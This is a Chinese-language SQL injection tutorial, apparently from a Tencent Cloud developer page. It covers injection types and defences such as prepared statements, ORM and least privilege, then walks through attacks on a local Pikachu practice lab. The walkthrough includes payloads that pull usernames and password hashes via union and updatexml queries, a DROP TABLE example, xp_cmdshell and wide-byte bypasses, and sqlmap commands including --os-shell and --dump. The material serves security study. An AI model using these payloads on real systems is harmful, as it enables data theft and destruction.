SQL注入

含义:是一种常见的网咯攻击手段,攻击者通过在输入字段或者请求中注入恶意的SQL语句,操控数据库执行目的以外的操作:
1.窃取敏感信息;

2.绕过身份验证;

3.修改/删除数据库内容;

4.执行系统命令等

工作原理:
1.输入验证不足:在web程序中没有对用户的输入进行正确的验证,用户可以在该输入字段中插入SQL代码;

2.SQL语句拼接:程序后端将用户的输入与SQL查询拼接在一起,形成完整的数据库查询语句;

3.执行恶意SQL:程序没有对输入进行过滤,清理或者转义,恶意SQL语句将被数据库服务器执行;

4.数据库泄露或者破坏:攻击者可以利用存在的SQL注入漏洞进行查询、修改或删除数据库中的数据,或是执行数据库管理的系统命令

常见SQL注入:

SQL语句:SELECT * FROM users WHERE username = 'user1' AND password = 'password1';
1.“--”:

注释符,将其后面的SQL语句注释掉

输入:
user:aaa'--

Passwd:任意

SELECT * FROM users WHERE username = 'aaa'--' AND password = 'password1';

2.字符型注入' or '1'='1,数字型注入or 1=1:1=1恒为真,可以绕过验证

SELECT * FROM users WHERE username = 'aaa 'or'1'='1' AND password = 'password1';

3.union联合查询:'UNION SELECT null,username,password FROMusers --

SELECT * FROM users WHERE username = ''UNION SELECT null,username,password FROMusers --' AND password = 'password1';

将会以users表的username和password作为数据结果返回

4.盲注:

无法直接获取查询结果,攻击者通过判断返回页面的响应(如布尔值或时间延迟)来逐步推测数据。

布尔型盲注:

SELECT * FROM users WHERE username = '' AND (SELECT 1 WHERE SUBSTRING((SELECT database()), 1, 1)='t') --';

Select database():尝试获取当前数据库名称

Substring( ,1,1)=’t’:判断数据库名称第一个字符是否为’t’

根据返回判断数据库名称首字母是否为t

时间盲注:

SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), 0) --';

Sleep()用于延迟语句的执行时间

1=1恒成立,执行sleep(5)延迟语句5秒执行

不成立则立即执行(0)

5.堆叠查询注入:允许多条SQL语句同时执行

SELECT * FROM users WHERE username = ''; DROP TABLE users; --';

原查询(SELECT * FROM users WHERE username = '')执行后,会继续执行恶意语句,最终导致users表被删除。

6.存储过程注入:

利用存储过程的输入参数注入恶意 SQL

EXEC LoginProcedure 'username', ' '; EXEC xp_cmdshell('dir'); --'

利用存储过程(Login Procedure)的输入参数,拼接恶意SQL语句,通过;分隔,执行EXEC xp_cmdshell('dir')xp_cmdshell()可调用系统命令,dir列出目录

7.Cookie注入:

修改浏览器的cookie值进行注入

Cookie: session_id=' OR '1'='1;

若拼接到SQL语句中,恶意cookie被解析后,SQL条件恒成立,可能导致未被授权访问、数据泄露等风险

危害

1.数据泄露: 攻击者获取数据库中的用户名、密码、银行卡号等敏感信息。

2.权限提升: 攻击者可能通过注入命令获得更高的访问权限。

3.数据篡改: 数据库内容被修改或删除。

4.服务中断: 恶意 SQL 代码可能导致数据库崩溃,影响系统可用性。

5.执行系统命令: 通过数据库扩展功能,攻击者可能直接操作操作系统

防范措施

SQL语句:SELECT * FROM users WHERE username = 'user1' AND password = 'password1';

1.参数化查询和预编译

核心原理

问题根源:普通的字符串拼接 SQL 语句会将用户输入直接解析为 SQL 代码,极易引发 SQL 注入攻击。

解决方案:参数化查询将 SQL 语句的结构与用户输入的数据完全分离。数据库会先预编译 SQL 模板,再安全地代入参数,从而彻底避免注入风险。

代码示例解析

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";

PreparedStatement pstmt = connection.prepareStatement(sql);

pstmt.setString(1, username);

pstmt.setString(2, password);

ResultSet rs = pstmt.executeQuery();

? 是占位符,代表后续要传入的参数。

PreparedStatement 会预先编译 SQL 模板,确保参数仅作为数据处理,不会被解析为 SQL 命令。

这种方式不仅更安全,还能通过重复使用预编译的语句提升执行效率。

Node.js (MySQL 模块) 实现

const query = "SELECT * FROM users WHERE username = ? AND password = ?";

connection.query(query, [username, password], (err, results) => {

  if (err) throw err;

  // Handle results

});

Node.js 的 MySQL 模块同样支持占位符语法。

参数通过数组形式传入,驱动会自动完成转义和安全注入,避免了手动拼接字符串的风险。

2.使用ORM框架

核心原理

ORM 框架会将编程语言中的对象与数据库表进行映射,自动生成和执行 SQL 语句。

它完全替代了手动拼接 SQL 的过程,从根源上减少了 SQL 注入的风险。

开发者只需操作对象,无需编写复杂的 SQL,大幅提升了开发效率。

javascript

// 使用 Sequelize

const user = await User.findOne({

  where: { username: 'admin', password: 'password123' }

});

框架:代码中使用的是 Node.js 生态里的 Sequelize ORM。

逻辑:User.findOne() 方法会根据传入的条件对象,自动生成安全的SELECT查询语句。

安全性:框架内部会自动对where中的参数进行参数化处理,确保用户输入(即使是恶意输入)只会被当作数据,不会被解析为 SQL 命令

3.输入验证

核心原理

提前拦截:在用户输入到达数据库层之前,就对其格式、长度、内容进行检查,拒绝不符合规则的输入。

白名单原则:只允许已知的、安全的字符或格式通过,而非试图去过滤所有可能的恶意字符(黑名单)。

转义特殊字符:对于必须保留的特殊字符,进行转义处理,使其失去在 SQL 中的特殊含义。

代码示例解析

javascript

const username = req.body.username.replace(/[^a-zA-Z0-9]/g, ''); // 清理特殊字符

正则表达式:/[^a-zA-Z0-9]/g 是一个 “否定” 字符类,匹配所有不是大小写字母或数字的字符。

作用:.replace() 方法会将所有匹配到的特殊字符替换为空字符串,从而彻底清除用户名中的潜在危险字符。

适用场景:适合对用户名、ID 等格式要求简单的字段进行清洗。

4.限制数据库权限

核心原理

最小权限原则:确保每个数据库用户只能执行其工作所需的最基本操作,绝不多赋予任何额外权限。

权限隔离:将不同操作(如读、写、管理)分配给不同的用户账号,避免一个账号泄露导致全库失控。

纵深防御:即使应用层被突破,攻击者也只能在被限制的权限内活动,无法执行DROP、ALTER等高风险操作。

代码示例解析

sql

-- 创建一个新的数据库用户

CREATE USER 'readonly_user'@'%' IDENTIFIED BY 'secure_password';

-- 授予该用户对指定数据库所有表的只读权限

GRANT SELECT ON database_name.* TO 'readonly_user'@'%';

CREATE USER:创建一个名为readonly_user的新用户,@'%'表示该用户可以从任何 IP 地址连接。

GRANT SELECT:仅授予该用户执行SELECT查询的权限,确保它只能读取数据,无法修改或删除数据。

database_name.*:将权限作用于database_name数据库下的所有表。

示例

1.数字型注入(POST)

判断

先进行抓包重放

测试是否存在数字型SQL注入的漏洞

当我们and 1=1时,网页并没有报错

当我们进行and 1=2时,它提示我们不存在这个用户,这时可以判断存在数字型的注入

接下可以使用order by来判断可进行的列

原理:order by会对列继续排序,当我们的输入超过实际列数时则会提醒该列不存在

测试3时报错

测试2时页面正常,说明有两列

接下来对每列显示位置进行查询

使用union进行联合查询

查询数据库和数据库的版本

Union select database(),version()

查询数据库所有表

Union select group_concat(table_name),2 from information_schema.tables where table_schema='pikachu'

这时可以看到有一个users的敏感表单

查询users中所有表列

union select group_concat(column_name),2 from information_schema.columns where table_schema='pikachu' and table_name='users'

其中就包含了username以及对应的password

查询用户名和密码

union select group_concat(username),group_concat(password) from users

对密码进行md5解密得到密码明文

代码审计

2.字符型注入(GET)

判断

先尝试闭合字符  

1'

说明存在字符型注入

尝试

' or '1'='1

接下来就是使用联合查询获取所有表

1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() --+&submit=查询

接着就是查看users表中的明杆信息了

3.搜索型注入

' or '1'='1

Sqlmap常用语法

Get型常用参数

-u:指定注入的URL   sqlmap -u URL

--dbs:爆出所有数据库 sqlmap -u URL --dbs

--dbms:指定数据库类型 sqlmap -u URL --dbms=mysql

--users:查看数据库的所有用户 sqlmap -u URL --users

--current-user:查看数据库当前用户 sqlmap -u URL --current-user

--current-db:查看网站当前数据库 sqlmap -u URL --current-db

--is-dba:判断当前用户是否有管理员权限 sqlmap -u URL --is-dba

      [11:57:52] [INFO] testing if current user is DBA

    [11:57:52] [INFO] fetching current user

    current user is DBA: True

--roles:列出数据库所有管理员角色,仅适用于oracle数据库 sqlmap -u URL --roles

--tables:爆出所有数据表 sqlmap -u URL -D 数据库名 --tables

--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns

--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D 数据库名 -T 表名 -C 列名 --dump

--dump-all:爆出数据库中所有的数据 sqlmap -u URL -D 数据库名 -T 表名 --dump-all

--sql-shell:获取数据库shell  sqlmap -u URL --sql-shell

--os-shell:获取服务器shell  sqlmap -u URL --os-shell

--file-read:读取服务器文件  sqlmap -u URL --file-read "文件路径及名称"

--file-write 本地文件 --file-dist 目标文件路径及名称:将本地文件上传至目标服务器

--time-sec=2:延时注入 sqlmap -u URL --time-sec=2

--batch:探测过程中不进行询问,一律选择默认

-m:如果有多个url地址,可以把多个url保存成一个文本文件,-m可以加载文本文件逐个扫描



POST常用参数

-r:指定POST数据文件  sqlmap -r post.txt

--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"

--forms:自动搜索表单的方式 sqlmap -u URL --forms

--cookie="抓取的cookie":测试cookie字段

--param-del:参数拆分字符,当GET型或POST型需要用其他字符分割测试参数的时候需要用到此参数,sqlmap -r post.txt --data="query=foorbar;id=1" --param-del

--referer:在请求中伪造http中的referer,当level参数设定为3或者3以上的时候会尝试对referer注入

--headers:增加额外的http头

--proxy:指定代理地址

-p:指定测试参数

先输入,复制URL

在sqlmap文件目录下打开cmd

python sqlmap.py

首先探测注入点

Python sqlmap.py -u “http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2”

成功探测出注入点,并且爆出了数据库的版本和类型

使用--dbs爆出库

python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" --dbs

使用-D “库” --tables爆出pikachu数据库的表

python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D “pikachu” --tables

--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns

python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" --columns

--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D “数据库名” -T “表名” -C “列名”

python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_search.php?name=1&submit=%E6%90%9C%E7%B4%A2" -D "pikachu" -T "users" -C “password,username” --dump

4.XX型注入

所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)

判断

Sql:

' or '1'='1

Sql:

') OR 1=1 --

使用sqlmap跑

5.insert/update注入

--data:这种不需要将数据进行保存,只需要将post数据复制下来即可 sqlmap -u URL --data="post数据"

python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_iu/sqli_reg.php" --data "username=1&password=1&sex=1&phonenum=1&email=1&add=1&submit=submit"

得到6个POST参数注入点

手动注入

数据库查询

使用update XML()报错注入

UpdateXML() 函数在解析 XPath 时遇到非法字符(-,由 0x7e 转义而来),会抛出包含查询结果的错误,间接的暴露了数据库名

username=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and'

查看数据库中的所有表

1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and'

查看表的字段

查看数据

username=1'and updatexml(1,concat(0x7e,substr((select group_concat(id,':',username,':',password) from users),1,31),0x7e),1) and'
updatexml(1, 内容, 1) MySQL 报错函数,第二个参数非法时会抛出包含 “内容” 的错误

concat(0x7e, ..., 0x7e) 拼接 ~(0x7e 是 ~ 的十六进制),让报错信息更易识别

substr(...,1,31) 截取查询结果的前 31 位(updatexml 最多显示 32 位,留 1 位给 ~)

select group_concat(...) from users查询 users 表中所有 id、用户名、密码并拼接成字符串

6.Datadelete

进行任意输入检查源码发现删除有一个id参数

开始抓包点击跳转

这时发现数据包中有一个id参数,可以利用这个参数进行报错注入

这里需要注意的,所有空格都会编译,要将空格都换为+,参数部分显示红色的

接下来就是查看数据库所有表

+and+updatexml(1,concat(0x7e,(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),0x7e),1)

查看字段

+and+updatexml(1,concat(0x7e,(select+group_concat(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users'),0x7e),1)

然后查看数据了

+and+updatexml(1,concat(0x7e,substr((select+group_concat(id,':',username,':',password)+from+users),1,31),0x7e),1)

7.http header注入

正常登录进行抓包,放行第一个,留第二个

对user-agent头进行报错注入获取数据库名

1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

接下就是查看库的所有表,查看表的字段,然后查看表的数据了

8.盲注(布尔型)

使用sqlmap爆出数据库

python sqlmap.py -u "http://localhost/pikachu-master/vul/sqli/sqli_blind_b.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --dbs

--columns:爆出数据库表所有列 sqlmap -u URL -D 数据库名 -T 表名 --columns

python sqlmap.py -u

--dump:爆出数据库中列中的所有数据 sqlmap -u URL -D “数据库名” -T “表名” -C “列名”

python sqlmap.py -u

代码审计

将用户可控参数直接拼接到sql语句中,没有进行任何的过滤或者拼接

9.盲注(时间)

使用sleep()函数进行测试判断是否存在SQL漏洞

Sql:

kobe' and sleep(3) #

当我们开始注入时,延迟了3秒才返回响应

无论用户如何注入但都是显示同样的提示,没有办法通过提示判断是否存在漏洞

这时可以通过使用sleep()进行服务器延迟响应判断是否存在漏洞

10.宽字节注入

原理:宽字节注入利用Unicode编码中的特性,将特殊字符转换为双字节字符,绕过输入过滤和检查,从而执行恶意的SQL查询

输入抓包,找到注入点

name=1%df' union select version(),database() --+

查找到数据库名,接着就是

查表

name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查字段,使用十六进制绕过

name=1%df' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --+

爆出数据

name=1%df' union select group_concat(username),group_concat(password) from pikachu.users --+

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐